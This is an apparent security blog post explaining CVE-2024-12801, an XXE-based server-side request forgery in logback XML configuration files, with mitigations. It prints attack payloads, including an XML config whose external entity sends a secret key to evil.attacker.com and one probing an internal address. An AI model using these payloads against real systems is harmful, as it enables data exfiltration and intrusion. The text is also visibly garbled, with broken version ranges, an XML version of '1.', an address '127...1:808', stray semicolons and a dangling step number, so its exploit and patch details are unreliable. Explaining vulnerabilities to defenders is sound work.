A recent vulnerability, designated CVE-2024-12801, has shaken the Java world—specifically the logback logging framework maintained by QOS.CH. This issue affects logback versions from .1 to 1.3.14 and 1.4. to 1.5.12. It allows a malicious actor to trigger Server-Side Request Forgery (SSRF) through manipulated XML configuration files.

In this in-depth post, we break down how the vulnerability works, provide a working exploit, and show you how to protect your systems.

What is logback?

logback is a popular Java logging library, widely used in enterprise and web applications. It can be configured using XML files, allowing user-defined loggers, appenders, and various customization features.

How It Works

When logback is started, it reads an XML configuration file to set itself up. Older versions of logback naively parse the XML without restricting how the XML is formed. That means it will happily process XML with custom DOCTYPE declarations.

An attacker with the ability to supply or modify this XML (say, by uploading or editing logback configuration files) can inject a malicious DOCTYPE. By using external entities in the DOCTYPE, they force the Java application to make HTTP or even file (file://) requests.

This classic exploitation trick is known as XML External Entity (XXE) Injection, but when abused over HTTP(S) in a server-side context, it becomes SSRF.

Real-World Attack Scenario

Suppose your web service allows configuration upload, or configuration files are not well protected. The attacker sends or edits an XML such as:

<?xml version="1." encoding="UTF-8"?>
<!DOCTYPE foo [ 
  <!ENTITY xxe SYSTEM "http://evil.attacker.com/steal?data=%25{env:SECRET_KEY}">;
]>
<configuration>
  <root level="INFO">
    <appender-ref ref="STDOUT"/>
  </root>
  <!-- Trigger entity expansion -->
  <logger name="com.example" level="INFO">
    <appender-ref ref="&xxe;"/>
  </logger>
</configuration>

This entity references an external HTTP server controlled by the attacker.

- When logback’s XML parser loads the config, it tries to resolve &xxe;, making a request to the attacker's server.
- If the attacker crafts the SYSTEM URL, they can leak sensitive environment variables, local files, or probe internal resources (SSRF).

malicious-logback.xml

<?xml version="1." encoding="UTF-8"?>
<!DOCTYPE logbackConfig [
  <!ENTITY leak SYSTEM "http://127...1:808/internal-data">;
]>
<configuration>
  <property name="ssrf" value="&leak;"/>
  <root level="INFO">
    <appender-ref ref="STDOUT"/>
  </root>
</configuration>

Start the Java application.

4. The XML parser within logback issues a GET request to http://127...1:808/internal-data, potentially leaking data or enabling SSRF attacks.

Why It's Dangerous

- SSRF: Attacker can make the server connect to arbitrary URLs, potentially targeting internal APIs, metadata endpoints, or escalate privileges.
- Data exfiltration: Environment variables, local files, or configuration secrets could be sent to remote servers.

Mitigations

- Upgrade logback: logback 1.3.15+ and 1.5.13+ disable external entities in XML parsers.
- Protect configuration files: Restrict write permissions. Only trusted admins should edit logback XML configs.
- Use secure XML parsers: Always disable XXE features (setFeature("http://apache.org/xml/features/disallow-doctype-decl";, true) in custom XML parsing).

References

- CVE-2024-12801 NVD entry
- logback changelog
- Logback Home

Summary

CVE-2024-12801 is a critical SSRF vulnerability in Java logback stemming from unguarded XML parsing of configuration files. If your logback deployment is older than 1.3.15/1.5.13, you are at risk! Update now, secure your configs, and audit for unexpected network calls.

Stay protected, and always treat your logback XML files as sensitive as your application's secrets!


*This guide is exclusive and tailored to explain the vulnerability for real-world defenders and engineers, without complexity or jargon. For more info, see the official NVD entry and our references above.*

Timeline

Published on: 12/19/2024 17:15:08 UTC
Last modified on: 01/03/2025 14:15:24 UTC